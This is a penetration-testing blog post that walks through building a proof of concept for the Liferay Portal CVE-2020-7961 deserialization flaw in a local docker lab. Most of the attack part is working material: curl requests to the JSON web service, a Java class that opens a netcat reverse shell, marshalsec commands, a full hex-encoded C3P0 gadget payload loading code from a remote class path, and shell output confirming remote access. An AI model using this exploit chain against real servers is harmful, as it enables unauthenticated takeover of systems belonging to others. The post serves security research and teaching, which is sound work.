How to exploit Liferay CVE-2020-7961 : quick journey to PoC

Written by Thomas Etrillard - 30/03/2020 - in Pentest - Download
Liferay is one of the most known CMS written in Java that we encounter sometimes during assessment. Last week, we stumbled on the blog post from Code White Security entitled "Liferay Portal JSON Web Service RCE Vulnerabilities" describing an interesting issue. Unfortunately, there is no PoC associated with it, but as we love RCEs at Synacktiv, this is a good opportunity to learn something.

So, let's get started, here is a little tale on how to get a PoC, using marshalsec and the available researchs on the topic.

We'll focus on the issue that affects the 7.x version, CST-7205: Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961).

Analysis of the blog post

First things first, let's collect clues in the Code White blog post to plan our approach, like anyone could do while doing CTF or challenges:

The JSONWebServiceActionParametersMap of Liferay Portal allows the instantiation of arbitrary classes and invocation of arbitrary setter methods.
Both allow the instantiation of an arbitrary class via its parameter-less constructor and the invocation of setter methods similar to the JavaBeans convention. This allows unauthenticated remote code execution via various publicly known gadgets. // (1)
The _parameterTypes map gets filled by the JSONWebServiceActionParametersMap.put(String, Object) method... 
parameterName:fully.qualified.ClassName // (2)
This syntax is also mentioned in some of the examples in the Invoking JSON Web Services tutorial. // (3)
Later in JSONWebServiceActionImpl._prepareParameters(Class<?>), the ReflectUtil.isTypeOf(Class, Class) is used to check whether the specified type extends the type of the corresponding parameter of the method to be invoked. Since there are service methods with java.lang.Object parameters, any type can be specified. // (4)
Demo // (5)

From the blog post we've identified that: we'll have to deal with instanciation / unmarshalling issues ((1) in the above block) that have already been covered by researches in 2016, known as us-17-Munoz-Friday-The-13th-Json-Attacks and marshalsec, for that we'll need a publicly known gadget, that will make the job easy.

To identify the entrypoint we'll need to interact with the JSON endpoint (3) described in the Liferay developer documentation. And, last but not least, the GIF demo (5), on which we can see the API endpoint, slightly modified to use JSON-RPC to hide details on the vulnerable method, and the Content-length header which is over 9000! It seems that it won't be an easy one at first... We'll come back on this one later.


Liferay CE is open-source, and well documented, let's get an instance running using docker, and download the source code too:

$ wget
# docker pull liferay/portal:7.2.0-ga1-201906041200
# docker run -it liferay/portal:7.2.0-ga1-201906041200
$ docker inspect  $(docker ps | grep liferay | cut -f 1 -d ' ') | jq -r .[0].NetworkSettings.IPAddress

The default login/password for the docker is:

Finding the right entrypoint

Reading the documentation, and toying with the API, we quickly find how to use it:

$ curl -s -u -d entryId=1 -d value=2 | jq
  "exception": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",
  "throwable": "com.liferay.announcements.kernel.exception.NoSuchFlagException: No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",
  "error": {
    "message": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",
    "type": "com.liferay.announcements.kernel.exception.NoSuchFlagException"

Looking at the built-in documentation we notice that every parameter is typed (Long, String...):



Remember the hint from the blog post? Let's iterate over each context to retrieve every endpoint, and let's find some that uses java.lang.Object:

$ cat contexts.txt | while read context; do curl -kis$context | grep "java\.lang\.Object"; done | grep -o 'href="[^"]*"'

As seen in the blog post, and after reading the documentation, we recognize the + symbol used to instanciate an object, trying it with some garbage gives us an interesting message:

$ curl -s \
  -u \
  -d columnId=1 \
  -d name='2' \
  -d type=3 \
  -d %2BdefaultData=4 | jq
  "exception": "4",
  "throwable": "java.lang.ClassNotFoundException: 4",
  "error": {
    "message": "4",
    "type": "java.lang.ClassNotFoundException"

What happens with something known such as java.lang.Number or java.lang.String?

$ curl -s -u -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.Number | jq
  "exception": "java.lang.InstantiationException",
  "throwable": "java.lang.InstantiationException",
  "error": {
    "message": "java.lang.InstantiationException",
    "type": "java.lang.InstantiationException"
$ curl -s -u -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.String | jq
  "exception": "No ExpandoColumn exists with the primary key 1",
  "throwable": "com.liferay.expando.kernel.exception.NoSuchColumnException: No ExpandoColumn exists with the primary key 1",
  "error": {
    "message": "No ExpandoColumn exists with the primary key 1",
    "type": "com.liferay.expando.kernel.exception.NoSuchColumnException"

So far so good, we're able to instanciate an object, and according to the documentation, setting attributes should be as simple as defaultData.attribute_name=value.

Finding the right gadget, episode I

The author was not familiar with this class of vulnerabilities, so he took the first Java gadget found in the presentation of Alvaro Muñoz and Oleksandr Mirosh, that involves instanciating the class org.hibernate.jmx.StatisticsService, then calling setSessionFactoryJNDIName, which will be done by setting sessionFactoryJNDIName to whatever we control:

$ curl -s -u -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=org.hibernate.jmx.StatisticsService -d defaultData.sessionFactoryJNDIName=rmi://thisiswrong:/

And get an encouraging stacktrace in the logs:

2020-03-27 15:48:45.383 ERROR [http-nio-8080-exec-2][StatisticsService:81] Error while accessing session factory with JNDI name rmi://thisissworng:/
javax.naming.CommunicationException: thisiswrong:389 [Root exception is thisiswrong]

The JNDI rabbit hole

On the hard path of exploiting something, there's always some "Try harder", "Dig deeper" moments, so you try harder and you fail, and sometimes you have the means to investigate the failure.

This process is not well documented in blog posts where it is often a curated post that only shows the end result. However for the sake of the process, the author needed to make this point. (Too) much time was lost on the JNDI gadget, and yet, for an unknown reason, even using the -e LIFERAY_JVM_OPTS="-Dcom.sun.jndi.rmi.object.trustURLCodebase=true" option to trust the codebase, and getting everything right, it didn't work as expected. But at least we can continue with another gadget, so let's try more gadgets, the more the merrier!

Finding the right gadget, episode II

There are many publicly known gadgets, that can be found in past researches, blogs, and even blacklists. For the latter, all of them are not documented, so let's continue with past researches. One after another, one seemed to work: com.mchange.v2.c3p0.WrapperConnectionPoolDataSource and as documented in the marshalsec paper, this one is pretty interesting.

Requires c3p0 on the class path. Implements, has a default
constructor (which needs to be called), the used properties also have getters. A single
etter call is sufficient for code execution.
It will instantiate a class from a remote class path as JNDI
ObjectFactory. (on its own, not using the default JNDI reference mechanism)

Code execution, and not using the default JNDI mechanism, let's try it:

$ curl -s -u -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
2020-03-27 16:19:55.776 WARN  [http-nio-8080-exec-10][WrapperConnectionPoolDataSource:223] Failed to parse stringified userOverrides. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA invalid stream header: AAAAAAAA

It is at least loaded by Liferay, so that should do the work. Now let's use the marshalsec tool to set up the right data for us, using the Jackson payload that fits with our context.

First of all, let's set up our remote class path, with our exposed EvilObject:

$ cat > <<EOF
public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"/bin/sh", "-c", "nc 8888 -e /bin/sh"};
        Process pc = rt.exec(commands);
$ /usr/lib/jvm/java-8-oracle/bin/javac
$ python -m SimpleHTTPServer &

Then, we can use the -t argument to test everything:

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -t C3P0WrapperConnPool EvilObject
unning gadget C3P0WrapperConnPool:
MLog initialization issue: slf4j found no binding or threatened to use its (dangerously silent) NOPLogger. We consider the slf4j library not found.
Had execution of /bin/sh

Let's setup our listener, generate the payload and use it:

$ nc -l -v 8888 & 
Listening on 8888

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool EvilObject


$ curl -s -u -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;'


uid=1000(liferay) gid=1000(liferay)
ls -al
total 92
drwxr-xr-x    1 liferay  liferay       4096 Jun  4  2019 .
drwxr-xr-x    1 root     root          4096 Jun  4  2019 ..
-rw-r--r--    1 liferay  liferay         40 May 31  2019 .githash
-rw-r--r--    1 liferay  liferay          0 May 31  2019 .liferay-home
drwxr-xr-x    1 liferay  liferay       4096 May 31  2019 data
drwxr-x---    2 liferay  liferay       4096 May 31  2019 deploy

And "voilà"! We've got our remote shell up & running!


Remember the Code White Security Payload? It is prettier than the one we've found, by the time of writing this article, we've noticed that others already have published PoCs, using the same gadget and achieved code execution in one-click without connect-back. And remember, we all waste time on things, but eventually, you'll end up with code execution :)